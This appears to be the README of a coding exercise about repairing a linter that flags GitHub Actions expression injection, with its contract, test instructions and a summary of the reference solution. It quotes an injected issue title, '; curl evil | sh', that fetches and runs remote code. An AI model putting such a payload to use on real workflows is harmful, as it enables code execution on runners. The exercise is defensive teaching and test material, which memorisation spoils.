Flag GitHub Actions expression injection

A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.

Requires Node.js 22 or newer. No package installation or server needed. To work in a container instead, open the folder with VS Code Dev Containers or GitHub Codespaces: .devcontainer/devcontainer.json uses the Dev Containers Node.js 24 image, pinned by digest.
1. Unzip all files into one folder.
2. In that folder, run: node --test exercise.test.mjs
3. Edit audit-step.mjs, then run the same command again.

The starter deliberately fails some tests. A successful repair passes every case, including cases that catch common wrong fixes. The browser runs this same cases.mjs with the same fixtures; locally Node runs your code directly. If you completed the optional first stage in the browser, Download my work adds your input as stage1-input.json and the tests include it. Only run code you wrote or reviewed.

1. Reproduce the gap
Run the starter. It only recognizes the exact string github.event.issue.title, so a pull-request title, a comment body or github.head_ref in a run script is reported "safe".

2. Find every interpolation
Extract every ${{ ... }} expression from step.run, up to its closing }} (format('{0}', ...) contains a single }). Flag it when its text contains one of untrustedPrefixes anywhere, so github.event.anything, github.head_ref and toJSON(github.event.pull_request) all match.

3. Check the github-script body too
actions/github-script runs step.script with the same ${{ }} substitution, so apply the same test to it.

4. Treat the env pattern as safe
An untrusted expression in an env value is not injection: the run references it as $NAME. Do not scan env values for interpolation, and do not flag a run that uses only shell variables.

SUPPLIED CONTRACT
auditStep(step, untrustedPrefixes) returns "injectable" or "safe". step has {run, script, env}: run is a shell script string (or undefined), script is an actions/github-script body (or undefined), and env maps environment variable names to their values. untrustedPrefixes is an array of context prefixes an attacker controls, such as "github.event.", "github.head_ref" and "github.pull_request.". A GitHub expression ${{ ... }} in run or in script is substituted into the program text before it runs, so an untrusted expression there is injection: return "injectable" when any ${{ expr }} in run or in script mentions one of untrustedPrefixes anywhere in its text. That includes untrusted context inside a function such as toJSON() or format() and an operand of && or ||, because the expression’s value then carries the attacker’s text into the program. An expression runs to the closing }}; it can contain a single }, as in format('{0}', ...). An expression inside an env value is not injection by itself, because it becomes an environment variable rather than program text; a run that reads that variable as $NAME or ${NAME} is the safe pattern. Return "safe" when no untrusted expression is interpolated into run or script.

REFERENCE
reference.mjs contains an explained solution: The linter scans run and the github-script body for ${{ }} expressions and flags any that mention an untrusted prefix, so github.event.issue.title, github.event.pull_request.title, github.event.comment.body and github.head_ref in a shell step are all injectable, including inside a github-script, and so are toJSON(github.event.pull_request), format() with a title, and head_ref chosen by && and ||. github.event_name, without the dot, is the trigger’s name and is safe. A run that echoes github.repository or matrix.os is safe, because those are not attacker-controlled. A step that sets env TITLE to github.event.issue.title and runs echo "$TITLE" is safe: the untrusted value is an environment variable, not part of the script text. The env-variable form, quoted, is the fix the guide recommends.

SCOPE
This is a teaching linter over a simplified step, not actionlint or zizmor. It checks for untrusted context in run and github-script, and it flags any expression that mentions one, even one such as contains(github.event.issue.title, 'x') that can only produce true or false; a precise tool has to work out what each expression returns. It does not model composite-action inputs, ${{ }} inside an env value that a later unquoted $NAME expands, bash quoting bugs, or the GITHUB_ENV and set-output sinks. Use a maintained scanner in CI, pin and review third-party actions, and set least-privilege GITHUB_TOKEN permissions.

NEXT TASK
Which of your workflows interpolate github.event fields or github.head_ref into a run step, and could each move to an env variable?

SOURCE
https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections
